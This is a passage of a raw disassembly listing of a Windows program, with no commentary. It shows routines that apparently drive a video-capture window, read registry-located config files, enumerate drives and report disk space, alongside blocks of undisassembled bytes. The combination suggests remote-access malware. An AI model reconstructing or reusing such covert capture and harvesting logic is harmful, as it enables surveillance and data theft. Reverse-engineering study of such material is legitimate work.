ds:dword_444084 ; IsWindow test eax, eax jz short loc_41839B push ebx push ebx push 40Bh push [ebp+var_4] call ds:dword_4441CC ; SendMessageA loc_41839B: ; CODE XREF: sub_4181B2+63j ; sub_4181B2+D0j ... push [ebp+var_4] call ds:dword_4440F8 ; DestroyWindow mov eax, ebx loc_4183A6: ; CODE XREF: sub_4181B2+39j pop edi pop esi pop ebx leave retn sub_4181B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183AB proc near ; CODE XREF: sub_40274D+7120p var_94 = byte ptr -94h var_80 = dword ptr -80h var_68 = dword ptr -68h var_64 = dword ptr -64h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 94h push ebx push esi push edi xor esi, esi inc esi push esi push ds:dword_4DA128 xor ebx, ebx push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_444138 mov edi, eax cmp edi, ebx jnz short loc_4183E9 mov eax, esi jmp loc_4185E5 ; --------------------------------------------------------------------------- loc_4183E9: ; CODE XREF: sub_4183AB+35j push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418406 push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4441CC ; SendMessageA jmp short loc_418408 ; --------------------------------------------------------------------------- loc_418406: ; CODE XREF: sub_4183AB+47j xor eax, eax loc_418408: ; CODE XREF: sub_4183AB+59j cmp eax, ebx jnz short loc_418413 loc_41840C: ; CODE XREF: sub_4183AB+8Bj ; sub_4183AB+BCj mov ebx, esi jmp loc_4185DC ; --------------------------------------------------------------------------- loc_418413: ; CODE XREF: sub_4183AB+5Fj push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418433 lea eax, [ebp+var_94] push eax push 2Ch push 40Eh push edi call ds:dword_4441CC ; SendMessageA loc_418433: ; CODE XREF: sub_4183AB+71j cmp [ebp+var_80], ebx jz short loc_41840C push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418456 push ebx push ebx push 42Ch push edi call ds:dword_4441CC ; SendMessageA mov [ebp+var_4], eax jmp short loc_418459 ; --------------------------------------------------------------------------- loc_418456: ; CODE XREF: sub_4183AB+96j mov [ebp+var_4], ebx loc_418459: ; CODE XREF: sub_4183AB+A9j push [ebp+var_4] call sub_41E5D3 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_41840C push [ebp+var_4] call sub_41E5D3 mov esi, eax cmp esi, ebx pop ecx jnz short loc_418480 xor ebx, ebx inc ebx jmp loc_4185DC ; --------------------------------------------------------------------------- loc_418480: ; CODE XREF: sub_4183AB+CBj push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_41849D push [ebp+var_8] push [ebp+var_4] push 42Ch push edi call ds:dword_4441CC ; SendMessageA loc_41849D: ; CODE XREF: sub_4183AB+DEj push [ebp+var_4] push [ebp+var_8] push esi call sub_41F400 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4184B8 mov ecx, 0A0h loc_4184B8: ; CODE XREF: sub_4183AB+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_4184C2 push 78h pop eax loc_4184C2: ; CODE XREF: sub_4183AB+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418507 push esi push [ebp+var_4] push 42Dh push edi call ds:dword_4441CC ; SendMessageA loc_418507: ; CODE XREF: sub_4183AB+14Aj push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418524 lea eax, [ebp+var_68] push eax push 60h push 441h push edi call ds:dword_4441CC ; SendMessageA loc_418524: ; CODE XREF: sub_4183AB+165j push edi mov [ebp+var_64], ebx mov [ebp+var_40], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], 1 mov [ebp+var_30], 5 mov [ebp+var_68], 1046Ah call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418562 lea eax, [ebp+var_68] push eax push 60h push 440h push edi call ds:dword_4441CC ; SendMessageA loc_418562: ; CODE XREF: sub_4183AB+1A3j push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_41857D push [ebp+arg_0] push ebx push 414h push edi call ds:dword_4441CC ; SendMessageA loc_41857D: ; CODE XREF: sub_4183AB+1C0j push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418596 push ebx push ebx push 43Eh push edi call ds:dword_4441CC ; SendMessageA loc_418596: ; CODE XREF: sub_4183AB+1DBj push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_4185B3 push [ebp+var_8] push [ebp+var_4] push 42Dh push edi call ds:dword_4441CC ; SendMessageA loc_4185B3: ; CODE XREF: sub_4183AB+1F4j push [ebp+var_8] call sub_41E2A1 push esi call sub_41E2A1 pop ecx pop ecx push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_4185DC push ebx push ebx push 40Bh push edi call ds:dword_4441CC ; SendMessageA loc_4185DC: ; CODE XREF: sub_4183AB+63j ; sub_4183AB+D0j ... push edi call ds:dword_4440F8 ; DestroyWindow mov eax, ebx loc_4185E5: ; CODE XREF: sub_4183AB+39j pop edi pop esi pop ebx leave retn sub_4183AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185EA proc near ; CODE XREF: sub_40274D+23F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp ds:off_442AA4, ebx mov [ebp+var_C], 80h jz loc_418796 push esi push edi mov eax, offset off_442AA4 mov esi, offset dword_442AB0 mov edi, offset dword_436A1C loc_41861A: ; CODE XREF: sub_4185EA+1A4j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_444238 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call ds:dword_4440B8 ; RegQueryValueExA test eax, eax jnz loc_41877D mov eax, [esi] cmp eax, ebx jz loc_418741 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_0 ; "%s\\%s" push eax call sub_41E6A6 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41E54E add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_41877D push eax jmp short loc_4186AA ; --------------------------------------------------------------------------- loc_418695: ; CODE XREF: sub_4185EA+D0j push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_4186BE push [ebp+var_8] loc_4186AA: ; CODE XREF: sub_4185EA+A9j lea eax, [ebp+var_70] push 64h push eax call sub_41EA5D add esp, 0Ch test eax, eax jnz short loc_418695 jmp short loc_418736 ; --------------------------------------------------------------------------- loc_4186BE: ; CODE XREF: sub_4185EA+BBj push 3Dh push dword ptr [esi+4] call sub_41EFD0 pop ecx test eax, eax pop ecx lea eax, [ebp+var_70] jz short loc_4186FD push offset asc_436A18 ; "=" push eax call sub_41E7B2 push offset asc_436A18 ; "=" push ebx call sub_41E7B2 push eax push dword ptr [esi-4] lea eax, [ebp+var_2F0] push edi push eax call sub_41E6A6 add esp, 20h jmp short loc_418711 ; --------------------------------------------------------------------------- loc_4186FD: ; CODE XREF: sub_4185EA+E5j push eax push dword ptr [esi-4] lea eax, [ebp+var_2F0] push edi push eax call sub_41E6A6 add esp, 10h loc_418711: ; CODE XREF: sub_4185EA+111j push ebx push [ebp+arg_8] lea eax, [ebp+var_2F0] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_2F0] push eax call sub_417D70 add esp, 18h loc_418736: ; CODE XREF: sub_4185EA+D2j push [ebp+var_8] call sub_41E24B pop ecx jmp short loc_41877D ; --------------------------------------------------------------------------- loc_418741: ; CODE XREF: sub_4185EA+6Aj lea eax, [ebp+var_F0] push eax push dword ptr [esi-4] lea eax, [ebp+var_2F0] push edi push eax call sub_41E6A6 push ebx push [ebp+arg_8] lea eax, [ebp+var_2F0] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_2F0] push eax call sub_417D70 add esp, 28h loc_41877D: ; CODE XREF: sub_4185EA+60j ; sub_4185EA+A2j ... push [ebp+var_4] call ds:dword_4441E8 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], ebx jnz loc_41861A pop edi pop esi loc_418796: ; CODE XREF: sub_4185EA+19j pop ebx leave retn sub_4185EA endp ; --------------------------------------------------------------------------- byte_418799 db 55h, 0B8h, 0B4h ; DATA XREF: sub_40274D+934o dd 8D000011h, 0E88C246Ch, 6278h, 537C458Bh, 6D6A5756h dd 8DF08B59h, 0FFFEC0BDh, 0FFA5F3FFh, 0FF336075h, 0B0B88947h dd 8D000001h, 0FFFEC885h, 0F3E850FFh, 8B000019h, 0FFFE83F0h dd 75895959h, 8D4E757Ch, 0FFEEC085h, 6A9868FFh, 0E8500043h dd 5EB6h, 5D39DB33h, 7559596Ch, 75FF5318h, 0C0858D68h dd 50FFFFEEh, 50E0458Dh, 8A2DE856h, 0C483FFFEh, 0C0858D14h dd 50FFFFEEh, 0FFF553E8h, 6475FFFFh, 0FF2924E8h, 575959FFh dd 122E9h, 0B6336800h, 0E8560042h, 419Ch, 59FFF883h, 8D507559h dd 0FFEEC085h, 6A6868FFh, 0E8500043h, 5E56h, 5D39DB33h dd 7559596Ch, 75FF5318h, 0C0858D68h, 50FFFFEEh, 50E0458Dh dd 89CDE856h, 0C483FFFEh, 0C0858D14h, 50FFFFEEh, 0FFF4F3E8h dd 0FF5659FFh, 44421815h, 6475FF00h, 0FF28BCE8h, 8B97EBFFh dd 42B0143Dh, 0FF646A00h, 1000BED7h, 0DB330000h, 858D34EBh dd 0FFFFEEC0h, 42CC6468h, 1DE85000h, 8D000066h, 0FFEEC085h dd 0FEE850FFh, 8300003Eh, 0C0850CC4h, 646A3774h, 0A6AD7FFh dd 0FF27A4E8h, 59C085FFh, 8D562774h, 0FFEEC085h, 0E85053FFh dd 5D0Ch, 530CC483h, 0C0858D56h, 50FFFFEEh, 0FF7C75FFh dd 44406415h, 7FC08500h, 0C0858DA5h, 68FFFFEEh, 436A34h dd 5D98E850h, 5D390000h, 7559596Ch, 75FF531Ah, 0C0858D68h dd 50FFFFEEh, 50E0458Dh, 0E87C75FFh, 0FFFE890Fh, 8D14C483h dd 0FFEEC085h, 35E850FFh, 59FFFFF4h, 0FF7C75FFh, 44421815h dd 6475FF00h, 0FF27FCE8h, 0FF5359FFh, 42B06815h db 0, 0CCh word_418956 dw 8D55h ; DATA XREF: sub_40274D+7452o dd 818C246Ch, 0A04ECh, 7C458B00h, 6A575653h, 0F08B596Dh dd 0FE78BD8Dh, 0A5F3FFFFh, 0DB33F633h, 6A534356h, 0B0988902h dd 89000001h, 75896475h, 54758968h, 410015FFh, 0F88B0044h dd 89FFFF83h, 0A755C7Dh, 436B9868h, 1B3E900h, 106A0000h dd 5644458Dh, 5C3EE850h, 0C4830000h, 0C766560Ch, 24445h dd 426015FFh, 89660044h, 106A4645h, 5044458Dh, 48758957h dd 41E415FFh, 0C0850044h, 74680A74h, 0E900436Bh, 175h dd 5058458Dh, 5044458Dh, 5845C757h, 10h, 406815FFh, 75FF0044h dd 15FF46h, 89004442h, 45897C75h, 94858D70h, 50FFFFFEh dd 57ABE8h, 4D8B5900h, 0D848A7Ch, 0FFFFFE94h, 575203Ch dd 0EB585F6Ah, 0C0BE0F03h, 700D8488h, 8DFFFFFAh, 0FFFE9485h dd 895041FFh, 7DE87C4Dh, 39000057h, 76597C45h, 0FF5753CDh dd 44423015h, 74C08500h, 6A98680Ah, 0FAE90043h, 56000000h dd 56036A56h, 6853h, 858D8000h, 0FFFFFE94h, 8C15FF50h dd 830042B0h, 4589FFF8h, 680A756Ch, 436B54h, 0D0E9h, 0FF505600h dd 42B0BC15h, 45895000h, 45B70F7Ch, 0B5FF5070h, 0FFFFFE78h dd 0FE9924E8h, 0FF5059FFh, 44417C15h, 15FF5000h, 444234h dd 94858D50h, 50FFFFFEh, 0FC78858Dh, 3C68FFFFh, 5000436Bh dd 5BD9E8h, 8D565600h, 0FFFC7885h, 458D50FFh, 0B5FF5098h dd 0FFFFFE78h, 0FE8756E8h, 2CC483FFh, 503C458Dh, 858D5656h dd 0FFFFFB74h, 45C75650h, 3C3Ch, 40758900h, 0FB78BD89h dd 9D89FFFFh, 0FFFFFB74h, 41B015FFh, 0C0850044h, 0FF561D7Fh dd 458D2075h, 6B246898h, 0FF500043h, 0FFFE78B5h, 870DE8FFh dd 24E9FFFEh, 8D000001h, 8D506045h, 57502C45h, 106045C7h dd 0FF000000h, 4440BC15h, 0FFF88300h, 0FE7C8589h, 1875FFFFh dd 436B0068h, 78858D00h, 50FFFFFCh, 5B41E8h, 0E9595900h dd 0EEh, 1815FF57h, 39004442h, 840F7C75h, 0A2h, 400BFh dd 7C458B00h, 7D89C73Bh, 89037D70h, 8D577045h, 0FFF67085h dd 0E85056FFh, 5A54h, 837C458Bh, 26A0CC4h, 50D8F756h, 0FF6C75FFh dd 42B0B815h, 458D5600h, 75FF5054h, 70858D70h, 50FFFFF6h dd 0FF6C75FFh, 42B08015h, 75FF5600h, 70858D70h, 50FFFFF6h dd 0FE7CB5FFh, 15FFFFFFh, 4441A0h, 99704589h, 56644501h dd 68551157h, 0F670858Dh, 0FF50FFFFh, 0FFFE7CB5h, 6415FFFFh dd 3B004440h, 0A98C0FC3h, 8B000000h, 0C33B7045h, 9E8C0Fh dd 45290000h, 66850F7Ch, 8BFFFFFFh, 75FF5C7Dh, 415FF6Ch dd 0FF0042B0h, 75FF6875h, 811E864h, 59590000h, 3075FF50h dd 418815FFh, 8D500044h, 0FFFE9485h, 858D50FFh, 0FFFFFC78h dd 436AD468h, 4FE85000h, 8300005Ah, 753914C4h, 561D7524h dd 8D2075FFh, 0FFFC7885h, 458D50FFh, 0B5FF5098h, 0FFFFFE78h dd 0FE85C2E8h, 14C483FFh, 0FC78858Dh, 0E850FFFFh, 0FFFFF0E8h dd 7659FE3Bh, 15FF5707h, 444218h, 0FE7CB5FFh, 15FFFFFFh dd 444218h, 0E81C75FFh, 0FFFF24A1h, 15FF5659h, 42B068h dd 2075FF56h, 436ABCBEh, 458D5600h, 0B5FF5098h, 0FFFFFE78h dd 0FE8572E8h, 0A1E856FFh, 83FFFFF0h, 0B5FF18C4h, 0FFFFFE7Ch dd 421815FFh, 75FF0044h, 2463E81Ch, 5359FFFFh db 0EBh, 0C0h word_418CEA dw 0B855h ; DATA XREF: sub_40274D+6FEo dd 14C4h, 8C246C8Dh, 5D27E8h, 7C458B00h, 6A575653h, 0F08B596Dh dd 0FEB4BD8Dh, 0A5F3FFFFh, 8946F633h, 1B0B0h, 1046800h dd 858D0000h, 0FFFFFDB0h, 8950DB33h, 15FF6C5Dh, 42B010h dd 0FED0858Dh, 8D50FFFFh, 0FFFDB085h, 0DC6850FFh, 500042FDh dd 5961E8h, 10C48300h, 806853h, 26A0000h, 685653h, 8D400000h dd 0FFFDB085h, 15FF50FFh, 42B08Ch, 75FFF883h, 6C386807h dd 46EB0043h, 415FF50h, 8D0042B0h, 0FFFDB085h, 6C3468FFh dd 0E8500043h, 57C6h, 5959C33Bh, 75704589h, 6C086807h dd 1EEB0043h, 8D5475FFh, 0FFFEBC85h, 1FE850FFh, 83000014h dd 5959FFF8h, 757C4589h, 6BE86818h, 858D0043h, 0FFFFFBB0h dd 58E4E850h, 59590000h, 0F6E9h, 1000BE00h, 8D560000h dd 0FFEBB085h, 0E85053FFh, 5814h, 530CC483h, 0B0858D56h dd 50FFFFEBh, 0FF7C75FFh, 44406415h, 3BF88B00h, 96840FFBh dd 83000000h, 3674FFFFh, 8D7075FFh, 0FFEBB085h, 16A57FFh dd 7972E850h, 7D010000h, 10C4836Ch, 0FF6C75FFh, 44423415h dd 45895300h, 8D046A68h, 0FF506845h, 15FF7C75h, 4441A0h dd 858D98EBh, 0FFFFFBB0h, 436ABC68h, 5FE85000h, 53000058h dd 8D5C75FFh, 0FFFBB085h, 458D50FFh, 0B5FF50D4h, 0FFFFFEB4h dd 0FE83DAE8h, 0B0858DFFh, 50FFFFFBh, 0FFEF03E8h, 7075FFFFh dd 53D6E8h, 24C48300h, 0FF7C75FFh, 44421815h, 5875FF00h dd 0FF22C0E8h, 16A59FFh, 83E9h, 6C458B00h, 0E8505299h dd 5A7h, 0BC858D50h, 50FFFFFEh, 0FED0858Dh, 8D50FFFFh dd 0FFFBB085h, 6BBC68FFh, 0E8500043h, 57EAh, 391CC483h dd 1D75605Dh, 5C75FF53h, 0FBB0858Dh, 8D50FFFFh, 0FF50D445h dd 0FFFEB4B5h, 835DE8FFh, 0C483FFFEh, 0B0858D14h, 50FFFFFBh dd 0FFEE83E8h, 705D39FFh, 0FF097459h, 50E87075h, 59000053h dd 767C5D39h, 7C75FF09h, 421815FFh, 75FF0044h, 2237E858h dd 5359FFFFh, 0B06815FFh, 8BCC0042h, 33042444h, 244C39C9h dd 8A107E08h, 43C08C15h, 1143000h, 244C3B41h, 0C3F07C08h dword_418F38 dd 246C8D55h, 14EC818Ch, 8B000005h, 56537C45h, 0B9F08B57h ; DATA XREF: sub_40274D+5F78o ; sub_40274D+6799o dd 0AAh, 0FD60BD8Dh, 0A5F3FFFFh, 5656F633h, 4756FF33h dd 2A4B889h, 8D560000h, 0FFFDE485h, 35FF50FFh, 444254h dd 410815FFh, 0C63B0044h, 0F644589h, 43D84h, 6A565600h dd 68565602h, 40000000h, 0FEE4858Dh, 0FF50FFFFh, 42B08C15h dd 89C73B00h, 5A736045h, 0FEE4858Dh, 8D50FFFFh, 0FFFB6085h dd 6E0C68FFh, 0E8500043h, 56EAh, 390CC483h, 2075FC75h dd 75FF56h, 0FB60858Dh, 8D50FFFFh, 0FFFD6485h, 0B5FF50FFh dd 0FFFFFD60h, 0FE825AE8h, 14C483FFh, 0FB60858Dh, 0E850FFFFh dd 0FFFFED80h, 0E8E475FFh, 0FFFF2151h, 422E959h, 0FF330000h dd 0B03815FFh, 0BB0042h, 530007D0h, 0E8704589h, 55BFh dd 68458959h, 20068h, 60858D00h, 56FFFFFBh, 55C6E850h dd 0C4830000h, 7C458D0Ch, 2006850h, 858D0000h, 0FFFFFB60h dd 6475FF50h, 41B815FFh, 75390044h, 0FF1174F8h, 858D7C75h dd 0FFFFFB60h, 0FEC1E850h, 5959FFFFh, 5C458D56h, 7C75FF50h dd 0FB60858Dh, 0FF50FFFFh, 15FF6075h, 42B084h, 2273FB3Bh dd 0C72BC38Bh, 767C453Bh, 7C458B03h, 60858D50h, 50FFFFFBh dd 368458Bh, 69E850C7h, 83000063h, 7D030CC4h, 0F075397Ch dd 7D3B0574h, 8B3F77F0h, 0AE8C1C7h, 0E4858D50h, 50FFFFFDh dd 69E4458Bh, 234C0h, 42E80500h, 7D830044h, 77401E8h, 436DE468h dd 6805EB00h, 436DBCh, 55CCE850h, 0C4830000h, 7C753910h dd 0FF32870Fh, 7539FFFFh, 6C45C7F0h, 1, 7D3B4974h, 0FF4474F0h dd 858DF075h, 0FFFFFB60h, 6D906857h, 89500043h, 97E86C75h dd 56000055h, 8D0075FFh, 0FFFB6085h, 858D50FFh, 0FFFFFD64h dd 60B5FF50h, 0E8FFFFFDh, 0FFFE810Fh, 0FB60858Dh, 0E850FFFFh dd 0FFFFEC38h, 0FF28C483h, 42B03815h, 70452B00h, 0E8B9D233h dd 0F7000003h, 0FFD233F1h, 0C88B6075h, 0F7C78B41h, 0FFD88BF1h dd 42B00415h, 6875FF00h, 5138E8h, 0F4753900h, 8D567459h dd 0FFFEE485h, 24E850FFh, 3BFFFE7Fh, 7459F445h, 0F475FF44h dd 506C7589h, 0FB60858Dh, 6868FFFFh, 5000436Dh, 550DE8h dd 75FF5600h, 60858D00h, 50FFFFFBh, 0FD64858Dh, 0FF50FFFFh dd 0FFFD60B5h, 8085E8FFh, 858DFFFEh, 0FFFFFB60h, 0EBAEE850h dd 0C483FFFFh, 6C753928h, 241840Fh, 7D830000h, 840F01E8h dd 0F6h, 5D89DB85h, 7045DB70h, 5DC067Dh, 433088h, 0DDCFF85h dd 436D60h, 1CDD5151h, 0E4858D24h, 89FFFFFEh, 45DB707Dh dd 67D5070h, 308805DCh, 0DDC0043h, 436D60h, 858D5151h dd 0FFFFFB60h, 68241CDDh, 436D28h, 5480E850h, 0C4830000h dd 0FC75391Ch, 0FF562075h, 858D0075h, 0FFFFFB60h, 64858D50h dd 50FFFFFDh, 0FD60B5FFh, 0F0E8FFFFh, 83FFFE7Fh, 858D14C4h dd 0FFFFFB60h, 0EB16E850h, 7D83FFFFh, 0F5901ECh, 1AA85h dd 56056A00h, 0E4858D56h, 50FFFFFEh, 42E5B868h, 15FF5600h dd 444214h, 0FFC7539h, 18A85h, 0E4858D00h, 50FFFFFEh, 0FB60858Dh dd 0C68FFFFh, 5000436Dh, 5409E8h, 75FF5600h, 60858D00h dd 50FFFFFBh, 0FD64858Dh, 0FF50FFFFh, 0FFFD60B5h, 7F81E8FFh dd 858DFFFEh, 0FFFFFB60h, 0EAAAE850h, 0C483FFFFh, 141E924h dd 0DB850000h, 0DB705D89h, 67D7045h, 308805DCh, 0FF850043h dd 6D600DDCh, 51510043h, 8D241CDDh, 0FFFEE485h, 707D89FFh dd 507045DBh, 5DC067Dh, 433088h, 6D600DDCh, 51510043h dd 0FB60858Dh, 1CDDFFFFh, 6CC86824h, 0E8500043h, 538Ah dd 391CC483h, 2075FC75h, 75FF56h, 0FB60858Dh, 8D50FFFFh dd 0FFFD6485h, 0B5FF50FFh, 0FFFFFD60h, 0FE7EFAE8h, 14C483FFh dd 0FB60858Dh, 0E850FFFFh, 0FFFFEA20h, 458D106Ah, 0E850564Ch dd 5294h, 575F446Ah, 5608458Dh, 5286E850h, 0C4830000h dd 4C458D1Ch, 8458D50h, 6A565650h, 89565628h, 8D56087Dh dd 0FFFEE485h, 50FF33FFh, 45C75647h, 42B63314h, 347D8900h dd 38758966h, 0B00815FFh, 0C73B0042h, 15FF1275h, 444224h dd 1B30E8h, 15FF5600h, 42B000h, 0FEE4858Dh, 6850FFFFh dd 436C94h, 858D0CEBh, 0FFFFFDE4h, 6C686850h, 858D0043h dd 0FFFFFB60h, 52CCE850h, 0C4830000h, 0FC75390Ch, 0FF562075h dd 858D0075h, 0FFFFFB60h, 64858D50h, 50FFFFFDh, 0FD60B5FFh dd 3CE8FFFFh, 83FFFE7Eh, 858D14C4h, 0FFFFFB60h, 0E962E850h dd 0FF59FFFFh, 15FF6475h, 444164h, 0E8E475FFh, 0FFFF1D29h dd 15FF5659h, 42B068h db 0CCh ; =============== S U B R O U T I N E ======================================= sub_419429 proc near ; CODE XREF: sub_40274D+5554p ; sub_40274D+5693p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_42065F pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_419429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419443 proc near ; CODE XREF: sub_412135+462p ; sub_412135+5FEp ... var_40 = byte ptr -40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h and [ebp+var_4], 0 push esi push edi push 32h push 0 mov edi, offset dword_4DA12C push edi call sub_41E5F0 add esp, 0Ch lea esi, [ebp+var_40] push ebx loc_419465: ; CODE XREF: sub_419443+52j ; sub_419443+58j push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_420890 add cl, 30h mov [esi], cl inc esi mov [ebp+arg_0], eax or eax, edx mov [ebp+var_8], ebx mov [ebp+arg_4], edx jz short loc_41949D inc [ebp+var_4] mov eax, [ebp+var_4] push 3 cdq pop ecx idiv ecx test edx, edx jnz short loc_419465 mov byte ptr [esi], 2Ch inc esi jmp short loc_419465 ; --------------------------------------------------------------------------- loc_41949D: ; CODE XREF: sub_419443+42j mov eax, edi pop ebx jmp short loc_4194A7 ; --------------------------------------------------------------------------- loc_4194A2: ; CODE XREF: sub_419443+6Aj mov cl, [esi] mov [eax], cl inc eax loc_4194A7: ; CODE XREF: sub_419443+5Dj dec esi lea ecx, [ebp+var_40] cmp esi, ecx jnb short loc_4194A2 mov byte ptr [eax], 0 mov eax, edi pop edi pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= sub_4194B8 proc near ; CODE XREF: sub_419664+40p ; sub_419664+76p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_44407C ; GetDriveTypeA sub eax, 0 jz short loc_4194FB dec eax jz short loc_4194F5 dec eax dec eax jz short loc_4194EF dec eax jz short loc_4194E9 dec eax jz short loc_4194E3 dec eax jz short loc_4194DD mov eax, offset dword_436E60 retn ; --------------------------------------------------------------------------- loc_4194DD: ; CODE XREF: sub_4194B8+1Dj mov eax, offset off_436E5C retn ; --------------------------------------------------------------------------- loc_4194E3: ; CODE XREF: sub_4194B8+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4194E9: ; CODE XREF: sub_4194B8+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4194EF: ; CODE XREF: sub_4194B8+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4194F5: ; CODE XREF: sub_4194B8+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4194FB: ; CODE XREF: sub_4194B8+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4194B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419501 proc near ; CODE XREF: sub_419549+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_4440FC test eax, eax jz short loc_419536 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_419536: ; CODE XREF: sub_419501+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_419501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419549 proc near ; CODE XREF: sub_419664+17p ; sub_41D779+1C2p var_1B0 = byte ptr -1B0h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = byte ptr -30h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1B0h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_30] push eax call sub_419501 pop ecx pop ecx push 6 mov esi, eax pop ecx lea edi, [ebp+var_18] rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_419621 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_419621 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_419621 push ebx push 0 mov ebx, 400h push ebx push [ebp+var_14] push [ebp+var_18] call sub_420930 push edx push eax call sub_419443 push eax mov edi, offset aSkb ; "%sKB" push edi mov esi, 80h lea eax, [ebp+var_1B0] push esi push eax call sub_41E6FE add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_420930 push edx push eax call sub_419443 push eax push edi lea eax, [ebp+var_130] push esi push eax call sub_41E6FE add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_420930 push edx push eax call sub_419443 push eax push edi lea eax, [ebp+var_B0] push esi push eax call sub_41E6FE add esp, 18h pop ebx jmp short loc_419650 ; --------------------------------------------------------------------------- loc_419621: ; CODE XREF: sub_419549+2Cj ; sub_419549+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_1B0] push esi push eax call sub_41E6A6 lea eax, [ebp+var_130] push esi push eax call sub_41E6A6 lea eax, [ebp+var_B0] push esi push eax call sub_41E6A6 add esp, 18h loc_419650: ; CODE XREF: sub_419549+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_1B0] mov edi, eax rep movsd pop edi pop esi leave retn sub_419549 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419664 proc near ; CODE XREF: sub_419725+Dj ; 